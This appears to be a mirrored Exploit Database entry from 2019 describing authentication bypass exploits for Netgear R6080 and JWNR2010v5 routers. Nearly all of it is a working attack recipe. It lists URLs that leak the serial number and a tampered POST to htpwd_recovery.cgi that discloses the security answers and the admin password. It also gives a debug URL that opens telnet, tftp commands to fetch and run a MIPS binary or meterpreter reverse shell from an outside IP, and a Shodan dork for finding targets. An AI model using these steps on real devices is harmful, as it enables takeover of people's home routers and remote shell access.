Netgear WiFi Router JWNR2010v5 / R6080 – Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： Wadeek
  日期： 2019-07-15
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/47117/

• # Exploit Title: NETGEAR WiFi Router R6080 - Security Questions Answers Disclosure
  # Date: 13/07/2019
  # Exploit Author: Wadeek
  # Hardware Version: R6080-100PES
  # Firmware Version: 1.0.0.34 / 1.0.0.40
  # Vendor Homepage: https://www.netgear.com/support/product/R6080.aspx
  # Firmware Link: http://www.downloads.netgear.com/files/GDC/R6080/(R6080-V1.0.0.34.zip or R6080-V1.0.0.40.zip)
  
  == Files Containing Juicy Info ==
  >> http://192.168.1.1/currentsetting.htm
  Firmware=V1.0.0.34WW
  Model=R6080
  >> http://192.168.1.1:56688/rootDesc.xml (Server: Unspecified, UPnP/1.0, Unspecified)
  <serialNumber>SSSSSSSNNNNNN</serialNumber>
  
  == Security Questions Bypass > Answers Disclosure ==
  >> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)
  <POST REQUEST>
  htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
  (replace)
  dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
  (by)
  dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=PWD_password.htm&SID=
  <POST RESPONSE>
  <input type="text" maxLength="64" size="30" name="answer1" onFocus="this.select();" value="AnSw3R-1">
  <input type="text" maxLength="64" size="30" name="answer2" onFocus="this.select();" value="AnSw3R-2">
  (repeat recovery process for get admin password)
  
  == Authenticated Telnet Command Execution ==
  >> http://admin:Str0nG-!P4ssW0rD@192.168.1.1/setup.cgi?todo=debug
  :~$ telnet 192.168.1.1
  R6080 login: admin
  Password: Str0nG-!P4ssW0rD
  {
  upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
  download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
  }
  
  
  
  # Exploit Title: NETGEAR WiFi Router JWNR2010v5 - Security Questions Answers Disclosure
  # Date: 13/07/2019
  # Exploit Author: Wadeek
  # Hardware Version: JWNR2010v5
  # Firmware Version: 1.1.0.54
  # Vendor Homepage: https://www.netgear.com/support/product/JWNR2010v5.aspx
  # Firmware Link: http://www.downloads.netgear.com/files/GDC/JNR1010V2/N300-V1.1.0.54_1.0.1.zip
  # Shodan Dork: "HTTP/1.1 401 Unauthorized" "Set-Cookie: sessionid=" "NETGEAR JWNR2010v5"
  
  == Files Containing Juicy Info ==
  >> http://192.168.1.1/currentsetting.htm
  Firmware=V1.1.0.54
  Model=JWNR2010v5
  >> http://192.168.1.1/BRS_netgear_success.html (Serial Number)
  setTimeout('top.location.href = "http://www.netgear.com/success/JWNR2010v5.aspx?sn=SSSSSSSNNNNNN";',2000);
  
  == Security Questions Bypass > Answers Disclosure (only if "Password Recovery" is "Enable") ==
  >> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)
  <POST REQUEST>
  htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
  (replace)
  dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
  (by)
  dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=PWD_password.htm&SID=
  <POST RESPONSE>
  <input type="text" maxLength="64" size="30" name="htpwd_answer1" onFocus="this.select();" value="AnSw3R-1">
  <input type="text" maxLength="64" size="30" name="htpwd_answer2" onFocus="this.select();" value="AnSw3R-2">
  (repeat recovery process for get admin password)
  
  == Authenticated Telnet Command Execution ==
  >> http://admin:Str0nG-!P4ssW0rD@192.168.1.1/setup.cgi?todo=debug
  :~$ telnet 192.168.1.1
  JWNR2010v5 login: admin
  Password: Str0nG-!P4ssW0rD
  {
  upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
  download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
  }